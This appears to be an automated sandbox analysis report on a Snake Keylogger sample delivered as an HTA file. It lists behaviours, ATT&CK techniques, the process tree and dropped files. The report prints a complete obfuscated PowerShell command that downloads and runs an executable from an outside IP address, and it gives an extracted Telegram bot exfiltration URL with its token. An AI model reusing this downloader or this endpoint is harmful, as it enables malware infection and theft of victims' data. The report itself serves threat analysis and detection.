snakekeylogger | 95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

Analysis

max time kernel
143s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2024 06:17

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General

Target

seethebesthtmlthingsreadyforgetme.hta
Size

129KB
MD5

03140c0995d8db21fe4fb2f030322615
SHA1

0199286b876a0d3e896b1830ff024555374e51f3
SHA256

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305
SHA512

9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9
SSDEEP

96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3456-91-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	216	PowERShELL.Exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
216	PowERShELL.Exe
4936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2704	taskhostw.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000b000000023b7c-75.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2704 set thread context of 3456	2704	taskhostw.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5060	2704	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowERShELL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
216	PowERShELL.Exe
216	PowERShELL.Exe
4936	powershell.exe
4936	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2704	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	216	PowERShELL.Exe
Token: SeDebugPrivilege	4936	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 216	848	mshta.exe	84
PID 848 wrote to memory of 216	848	mshta.exe	84
PID 848 wrote to memory of 216	848	mshta.exe	84
PID 216 wrote to memory of 4936	216	PowERShELL.Exe	89
PID 216 wrote to memory of 4936	216	PowERShELL.Exe	89
PID 216 wrote to memory of 4936	216	PowERShELL.Exe	89
PID 216 wrote to memory of 3900	216	PowERShELL.Exe	94
PID 216 wrote to memory of 3900	216	PowERShELL.Exe	94
PID 216 wrote to memory of 3900	216	PowERShELL.Exe	94
PID 3900 wrote to memory of 5100	3900	csc.exe	95
PID 3900 wrote to memory of 5100	3900	csc.exe	95
PID 3900 wrote to memory of 5100	3900	csc.exe	95
PID 216 wrote to memory of 2704	216	PowERShELL.Exe	98
PID 216 wrote to memory of 2704	216	PowERShELL.Exe	98
PID 216 wrote to memory of 2704	216	PowERShELL.Exe	98
PID 2704 wrote to memory of 3456	2704	taskhostw.exe	101
PID 2704 wrote to memory of 3456	2704	taskhostw.exe	101
PID 2704 wrote to memory of 3456	2704	taskhostw.exe	101
PID 2704 wrote to memory of 3456	2704	taskhostw.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebesthtmlthingsreadyforgetme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
  "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u0zzrezf\u0zzrezf.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3900
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9376.tmp" "c:\Users\Admin\AppData\Local\Temp\u0zzrezf\CSC514FDAC3BFAF4BE3806EDDE59783357.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5100
- - C:\Users\Admin\AppData\Roaming\taskhostw.exe
    "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      outlook_office_path
      outlook_win_path
      PID:3456
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2704 -s 748
      4⤵
      Program crash
      PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2704 -ip 2704
1⤵
PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowERShELL.Exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
914d03e37c56a5f92375227785da6e03

SHA1
10702929f56d3e8ab03b3af14318ef92b8ecb0dc

SHA256
43f56bd6838667cce0cb6e2f4ac5735783edc7d740603a760d524aa2a712082d

SHA512
63738d56b9b4b0f1869032529e0fddcfa4d522b0dc769208970c5bb7f716bc1c55bd898fbb35dbaccefbf72618e977f166b86dce2e571d40ac6f1abc4e1333ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9376.tmp

Filesize
1KB

MD5
4afad291f70acb2ddd8493fb59952c8e

SHA1
10d75d50d8dbe6c66ffc24a7c5cb89d87219a18b

SHA256
bda30f965ed261ec4a6b5fb779cc3e19a5aa115d9ab2c8159922ef066c6f9d3d

SHA512
3f0ea61daeceec13515a259aab5b7659f4c4555411bd3dd4d478710872e77db8f6342d43f1b3d7092ba64f042b06e27042eada7ec2bb316dfa8c2190f20675b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yeqxdz3o.r4n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\u0zzrezf\u0zzrezf.dll

Filesize
3KB

MD5
6657c2c04e41449064ddc92563cb0cbf

SHA1
42cfb47e5bff31c0e67a426cecb7165c3dcfefa9

SHA256
8202f6cfd90dae13585790020596c7895376f21ee33dcec88b41b74206b83d3a

SHA512
59a0103be552be89a5f26d693f207a53c1c97282905c635319a74c48d213d94608428343ff416b91b8196e25ed1ec5040655ba13b515d59dc536c0bf8db49acb

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
938KB

MD5
6b4aad7f0941b424ba0a1875283fd7b6

SHA1
0312e216f8ee678cfb55bc938c24c8e2c9ece5a9

SHA256
74d35d82c03a46422ee0b10d62b8f587d0e4a86a8b89d58352a97208ddcf65cf

SHA512
4901b2f74afa67c60829d02c71009244f8971d6b5cc04bc7c4a4c9ebbfc6534f8c2dea543f1b3383d1de41b5ec78835c1c54ad77a03e555a1c5d5b474a738966

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u0zzrezf\CSC514FDAC3BFAF4BE3806EDDE59783357.TMP

Filesize
652B

MD5
90265c25c99c90c514a6045cc185de26

SHA1
2e65f6dd986710a388b977289539bcf56e4c1657

SHA256
423af548a892ead54cf80ccbca3486bc5e6f3a7b22659a3afdba27f859cc1951

SHA512
ab995638672007cc922dde18c113dab13a2f2c3c6a7e2b6833c259d5c11fd8c483b799a516e4907f7cdec4669b7287c0998c74972d6a9f4fd533806c0387191b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u0zzrezf\u0zzrezf.0.cs

Filesize
474B

MD5
0e03065f874d09489b23d564815660e8

SHA1
005cc140f8d9ad68a7863aee4da445e466c98379

SHA256
9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

SHA512
a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u0zzrezf\u0zzrezf.cmdline

Filesize
369B

MD5
e87b16bd09f01b17e308658eefee18ce

SHA1
31cce01cfc2a0578f4f9a0d0a1d55cfcab48343c

SHA256
f57406ea5572ca5aa39983da98772cead8e1425fdd70855e95722ab3ce648f3d

SHA512
dd321931a205e4d9a95f81edd497ca9cc340829daf487dea71b36d14324434c6a2f40ac721a25a3f0bb57cf5c215593820125af258dce75bef522b170b841c51

Download Submit
memory/216-65-0x00000000060B0000-0x00000000060B8000-memory.dmp

Filesize
32KB

Download
memory/216-3-0x0000000004CE0000-0x0000000005308000-memory.dmp

Filesize
6.2MB

Download
memory/216-19-0x0000000005B30000-0x0000000005B7C000-memory.dmp

Filesize
304KB

Download
memory/216-7-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/216-6-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/216-88-0x0000000071040000-0x00000000717F0000-memory.dmp

Filesize
7.7MB

Download
memory/216-1-0x0000000004590000-0x00000000045C6000-memory.dmp

Filesize
216KB

Download
memory/216-2-0x0000000071040000-0x00000000717F0000-memory.dmp

Filesize
7.7MB

Download
memory/216-18-0x0000000005B00000-0x0000000005B1E000-memory.dmp

Filesize
120KB

Download
memory/216-5-0x0000000004B40000-0x0000000004B62000-memory.dmp

Filesize
136KB

Download
memory/216-74-0x0000000007DB0000-0x0000000008354000-memory.dmp

Filesize
5.6MB

Download
memory/216-73-0x0000000006ED0000-0x0000000006EF2000-memory.dmp

Filesize
136KB

Download
memory/216-72-0x0000000071040000-0x00000000717F0000-memory.dmp

Filesize
7.7MB

Download
memory/216-71-0x000000007104E000-0x000000007104F000-memory.dmp

Filesize
4KB

Download
memory/216-0-0x000000007104E000-0x000000007104F000-memory.dmp

Filesize
4KB

Download
memory/216-4-0x0000000071040000-0x00000000717F0000-memory.dmp

Filesize
7.7MB

Download
memory/216-13-0x0000000005500000-0x0000000005854000-memory.dmp

Filesize
3.3MB

Download
memory/3456-91-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3456-92-0x000000006DA40000-0x000000006DA52000-memory.dmp

Filesize
72KB

Download
memory/4936-43-0x0000000007000000-0x000000000701A000-memory.dmp

Filesize
104KB

Download
memory/4936-50-0x0000000007280000-0x0000000007288000-memory.dmp

Filesize
32KB

Download
memory/4936-49-0x0000000007350000-0x000000000736A000-memory.dmp

Filesize
104KB

Download
memory/4936-48-0x0000000007240000-0x0000000007254000-memory.dmp

Filesize
80KB

Download
memory/4936-47-0x0000000007230000-0x000000000723E000-memory.dmp

Filesize
56KB

Download
memory/4936-46-0x0000000007200000-0x0000000007211000-memory.dmp

Filesize
68KB

Download
memory/4936-45-0x0000000007290000-0x0000000007326000-memory.dmp

Filesize
600KB

Download
memory/4936-44-0x0000000007060000-0x000000000706A000-memory.dmp

Filesize
40KB

Download
memory/4936-42-0x0000000007650000-0x0000000007CCA000-memory.dmp

Filesize
6.5MB

Download
memory/4936-41-0x0000000006EE0000-0x0000000006F83000-memory.dmp

Filesize
652KB

Download
memory/4936-40-0x0000000006260000-0x000000000627E000-memory.dmp

Filesize
120KB

Download
memory/4936-30-0x000000006D900000-0x000000006D94C000-memory.dmp

Filesize
304KB

Download
memory/4936-29-0x0000000006EA0000-0x0000000006ED2000-memory.dmp

Filesize
200KB

Download